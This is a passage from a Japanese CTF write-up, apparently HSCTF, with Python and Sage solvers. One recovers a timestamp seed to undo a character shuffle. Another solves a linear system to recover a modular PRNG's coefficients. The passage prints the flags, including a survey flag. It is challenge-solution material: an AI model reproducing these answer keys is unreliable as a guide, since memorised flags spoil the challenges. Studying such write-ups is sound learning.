 'B', 'm', "'", 'y', 'Q', '"', 'W', 'l', '.', 'i', 'O', '^', 'p', '8', 'f', 'F', 'C', '?', 'g',
 '@', 'j', '[', 'r', '!', '=', 'E', '~', '*', 'T', '{', ')', 'U', 'N', 'c', '&', 'n', 'q', 'I']

def rev_shuffle(seed, s):
    random.seed(seed)
    x = list(range(len(s)))
    random.shuffle(x)
    d = []
    for i in range(len(s)):
        d.append(s[x.index(i)])
    return d

with open('output.txt', 'r') as f:
    enc = list(f.read().rstrip())

for i in range(0, len(enc), 2):
    enc[i], enc[i + 1] = enc[(i + 1)], enc[i]

seed = 1618444800
while True:
    flag = rev_shuffle(seed, enc)
    for _ in range(20):
        for i in range(len(flag)):
            flag[i] = chr(x.index(flag[i]) + 32)
    flag = ''.join(flag).rstrip(' ')
    if 'flag{' in flag:
        print('[+] seed =', seed)
        print('[*] flag =', flag)
        break
    seed += 1

実行結果は以下の通り。

[+] seed = 1618514508
[*] flag = asdfijoewiafj{opfw2eijafewpoi4jfepoijfweapoifejfpoijep2ofjpoeiwajfae}pox{cnkvo3ivnopifiopnqdfaisjiposdfajifoaiweifjeeeeeewpjwefoipwefjpewofijfepoiwefjpofeijefpwoijeoiejepooeiopew flag{71me5t4mp_fun} ijapdiofjaewp_iojnoewnvpoifpoie_wbpaoibjfpaoiwbfoboawebfbiefaowefbjopiaewfjefeb_anieaiebn_faoebf2a2222aniopni2poabn2fbwnifabwfebnibfaepaebfiabfine2a5ebonfifbw8aeniafbe9asd3npoinxclknvokinawp3oinoink2xclnopinevpaoiwenapoiwev41poiawevnpaowevnapwveovinklnzdvslkvnlknpq3pi

元の文の中にフラグが含まれていた。

flag{71me5t4mp_fun}

agelaius-phoeniceus (crypto)

暗号処理の概要は以下の通り。

・co: 2**63~2**64-1のランダム素数100個の配列
・n : 2**64の次の素数
・s : 1~nのランダム整数100個の配列
・outs配列:空で初期化
・以下200回繰り返し
 ・g.next()の結果をoutsに追加
  ・sとcoの内積%nをsに追加
  ・outsにsの先頭を追加。sからは先頭を削除
・outsを表示
・k: flagの長さを8で割り、切り上げた数だけ、g.next()の結果を16進数で結合し、flagの長さの2倍まで
・kとflagをXORして表示
(s[0]   * co[0] + s[1]   * co[1] + ... + s[99]  * co[99]) % n = s[100], outs[0]   = s[0]
(s[1]   * co[0] + s[2]   * co[1] + ... + s[100] * co[99]) % n = s[101], outs[1]   = s[1]
                            :
(s[99]  * co[0] + s[100] * co[1] + ... + s[198] * co[99]) % n = s[199], outs[99]  = s[99]
(s[100] * co[0] + s[101] * co[1] + ... + s[199] * co[99]) % n = s[200], outs[100] = s[100]
(s[101] * co[0] + s[102] * co[1] + ... + s[200] * co[99]) % n = s[201], outs[101] = s[101]
                            :
(s[199] * co[0] + s[200] * co[1] + ... + s[298] * co[99]) % n = s[299], outs[199] = s[199]

前半100個の式ではs[0]~s[199]があれば連立方程式になり、co[0]~co[99]を求めることができる。あとはkを算出して、XORをとればフラグになる。

#!/usr/bin/sage
import binascii

class prng:
    def __init__(self, co, s, n):
        self.co = co
        self.s = s
        self.n = n

    def next(self):
        self.s.append(vector(self.s).dot_product(vector(self.co)) % self.n)
        return int(self.s.pop(0))

with open('output.txt', 'r') as f:
    outs = eval(f.readline().rstrip())
    enc = binascii.unhexlify(f.readline().rstrip())

n = int(next_prime(2**64))

S = []
for i in range(100):
    row = []
    for j in range(100):
        row.append(outs[i+j])
    S.append(row)
S = matrix(Zmod(n), S)

OUT = []
for i in range(100):
    OUT.append([outs[i+100]])
OUT = matrix(Zmod(n), OUT)

CO = S.inverse() * OUT
co = [CO[i][0] for i in range(100)]

s = outs
for i in range(100):
    val = 0
    for j in range(100):
        val += s[i+j+100] * co[j]
        val %= n
    s.append(val)
s = s[-100:]

g = prng(co, s, n)
k = ''.join([hex(g.next())[2:].rstrip('L').zfill(16) for i in range(ceil(len(enc) / 8))])[:len(enc) * 2]
flag = ''.join([chr(int(k[i*2:i*2+2], 16) ^^ ord(enc[i])) for i in range(len(enc))])
print flag
flag{if_i_had_a_nickel_4or_ev3ry_st0re_h3re_1n_town_with_a_fu11_suit_of_armor_0ut_in_front_i_would_have_two_nickl3s_wh1ch_isn't_a_l0t_but_it's_weird_that_we_h4ve_tw0}

hsctf-survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thanks_for_participating_in_hsctf!}

*1:p-1)*(q-1